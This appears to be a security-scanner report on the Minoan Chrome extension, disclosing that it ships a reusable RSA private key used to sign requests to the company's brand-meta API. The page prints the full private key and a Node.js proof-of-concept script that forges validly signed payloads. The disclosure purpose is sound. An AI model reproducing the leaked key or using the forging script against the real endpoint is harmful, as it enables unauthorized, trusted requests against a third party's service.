Is Minoan | Shop & save for your vacation rental safe?

High risk

Minoan | Shop & save for your vacation rental is high risk. The extension carries a 2048-bit RSA private key in its own source code, used to sign requests to Minoan's brand-meta endpoint. Anyone who reads the extension's files can extract it and produce their own validly-signed requests.…

Minoanv2.3.7Chrome Web Store
69Risk
Who publishes it

Minoan - no other listings under this identity, 3 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Minoan
Declared legal entity
Minoan
Registered address
344 Grove St # 4034, Jersey City, NJ 07302, US
Registered contact
MinoanExperience Inc.

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

designfiles.co
Also called by 1 other listing: DesignFiles Product Clipper
images.lumens.com
Also called by 1 other listing: DesignFiles Product Clipper
order.co
Also called by 1 other listing: Order in Chrome

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

A reusable RSA private key ships inside the extension bundle

The extension carries a 2048-bit RSA private key in its own source code, used to sign requests to Minoan's brand-meta endpoint.

Anyone who reads the extension's files can extract it and produce their own validly-signed requests.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

The extension starts up and needs to authenticate a request to Minoan's brand-meta API.

This happens automatically, not in response to anything you do.

The extension did this

It signs the request using an RSA private key that is stored, in plaintext, inside the extension's own downloadable source code.

The same key ships to every install of the extension, so it is not unique to your device or account.

The code that does this

The private key literal and the signing call that uses it

Readable version

How the key is imported and used

async function importPrivateKey() {  const keyData = bJbKPkp.replace(/\n/g, '');  const binaryDer = Uint8Array.from(atob(keyData), c => c.charCodeAt(0)).buffer;  return crypto.subtle.importKey(    "pkcs8", binaryDer,    { name: "RSASSA-PKCS1-v1_5", hash: "SHA-256" },    false, ["sign"]  );}async function signPayload(payload) {  const key = await importPrivateKey();  const encoded = new TextEncoder().encode(JSON.stringify(payload));  const signature = await crypto.subtle.sign("RSASSA-PKCS1-v1_5", key, encoded);  return arrayBufferToBase64(signature);}async function sendSecureRequest() {  const payload = { timestamp: Date.now(), extension_id: chrome.runtime.id };  const signature = await signPayload(payload);  return fetch("https://extension.minoan.com/brand-meta", {    method: "POST",    headers: { "Content-Type": "application/json" },    body: JSON.stringify({ payload, signature })  });}
Reproduce it yourself

Extracts the embedded private key from the extension's background.js and uses it to produce a validly-signed brand-meta payload for an arbitrary extension_id, using the same crypto.subtle signing scheme the extension itself uses.

Requires
  • Node.js 18+
forge-brand-meta-signature.js · js
// forge-brand-meta-signature.js// Usage: node forge-brand-meta-signature.js// Requires: Node.js 18+ (uses the built-in webcrypto API)const { webcrypto: crypto } = require('crypto');// The key literal below is copied verbatim from the extension's background.js// (the variable named `bJbKPkp` in the shipped bundle).const PRIVATE_KEY_PEM_BODY = `MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDXFG57IfYEOtLOYdGrLpoRiTFtWlbdFs5mGSe0gr4g6ZLMUlCRs83y7evgpKV0M1naotlqfCI1vC5PO7pu9EF/0j+KE9hmvka04LInerapLfCvNqwuedwWo/clVvYZ8D+BwMt8fETLRLUsHgxLNNwK9cVIVOg0GHiUPmifXug5J3RpheRCxu0B6w+zI2WOYB1SXPpchI3h0QdcMN04fiqLXpjogVs+vX88XXYIk6LnA8gjGzyyHwTpZDv6EGvI7wQB6K8Ey3OzphZ8IW+J1LyEVz9gguB6LFsim9am2hs2TtcQ/5jCVjv5Cky2/lgaNNDqRXpBDxCUlhmZApQ3kcsZAgMBAAECggEARnyVsJjyrXQxvh1kv3soVvLlVfczXIWq4t7/mjL26IZj675WVUneBu1eTmLnLmvd2L9iDXndJEslyiXC9bXq+V8IH9JdK17UgVbaTAH1dwBtTp7WUuzw6iKWTpBvWxTXW0i553Q6f3tm/KxkTwlly9m76/aXmusiKUNCumg6JvBi7/9nOStxRhFgf2M7rnNxyv08Tk/VXrQsPDoW/8kvNGvrwNtFwVdVRrtXHks4Scgdyrvc5ZDZYY60MMkWM1R7Lhj4c0+wNzMvyutG3k5adt0lCJ6Hg/RKNx1/Stjl4WPk5719qapzLGQ38mDlqzQo5IiIt9STjpAehA+GHv6IYQKBgQD+lVaU4N5zTDIvciVY5LdgHm39fWoWg4WF7mDFZ78nJY4ewXaiLQDk4pped/tcWHPHg/arJlPR3fj962iAlmmsPcdzj9r3ZOrDr+pJ5F1cY7yD8NEOkHJXkcumkHRNOesEt4O85cnfaDWm1BFhyZ9gkdQPoTF+ZaK5rm/XjHtl1QKBgQDYRtHA/TsYBrF6t519zaRBKrIjCsYI3wcH2T+YHWh34GbMuCI4YfCWRgQ+eS55Xkj4IAReCchNvRvjNyRd8z7rFIjmEIG8/oXXmZHtDyCMDANDuRMB3rcy8IcSHlt/b2OIN3Y3XPbQSneUPSrkxMADUw/5aW1Y7xdz/G15uVveNQKBgD5CESFpeJ0jpiY6OO3rSPkFmApk0DvfQBkHubys6W9OXNoin7t7W/udevjdSKhFrVK+b+VdAySQryKRnkXMAt2vYgZdyMO1d0AR1i7p3PcKIQD3NHjmVEAcFHyQWRDFuDa4FkxsuZib6Hr646FRaFt6bizAU9VAT7Iu+YTyAv9dAoGAbQSNuLUs83h0QAKMPZzJ/htSff1xQ4mAlsE4oCm6vip8RxdOEJO13Vnfy8nz1jPjnkctTGWr9RutEgR6rWzuuzq3oxiQ/T5jIwGDIDau1kk74AhLf3bPa7r4qvZocr0oM8KZMWEH/Ih87FlE5NoUW9ijxboR53Flpg6I9IGtwD0CgYEAtIpdEnV84wG8wJwQg9mnBQ6frllyV2ZZD/GKI1f8kUzySGj27yUeacdTOdLt7Dx7y1KLT9eDyFB4zDxlg8O03hTtGUYnsCgjKLccNEFcM0ifL3GzdJeoP7unohsHP1aX6x9nwbm+8G9xb/Pr2plyzkLPJSRn17hoPfekmlvfcAs=`;async function importPrivateKey() {  const der = Buffer.from(PRIVATE_KEY_PEM_BODY.replace(/\n/g, ''), 'base64');  return crypto.subtle.importKey(    'pkcs8', der,    { name: 'RSASSA-PKCS1-v1_5', hash: 'SHA-256' },    true, ['sign']  );}async function main() {  const key = await importPrivateKey();  const payload = { timestamp: Date.now(), extension_id: 'FORGED-BY-THIRD-PARTY-poc' };  const encoded = new TextEncoder().encode(JSON.stringify(payload));  const sigBuf = await crypto.subtle.sign('RSASSA-PKCS1-v1_5', key, encoded);  const signature = Buffer.from(sigBuf).toString('base64');  console.log(JSON.stringify({ payload, signature }, null, 2));}main();
How to run it
  1. 1Save as forge-brand-meta-signature.js.
  2. 2Run `node forge-brand-meta-signature.js`.
  3. 3The printed {payload, signature} body matches the extension's own signing scheme, for any extension_id.
Where signed requests go
    • extension.minoan.com

    Minoan's own brand-meta API, which trusts signatures produced with the key embedded in the public extension bundle.

Updated 30 September 2026kaonbikphaokagplfljdhmmcgmhlbkhc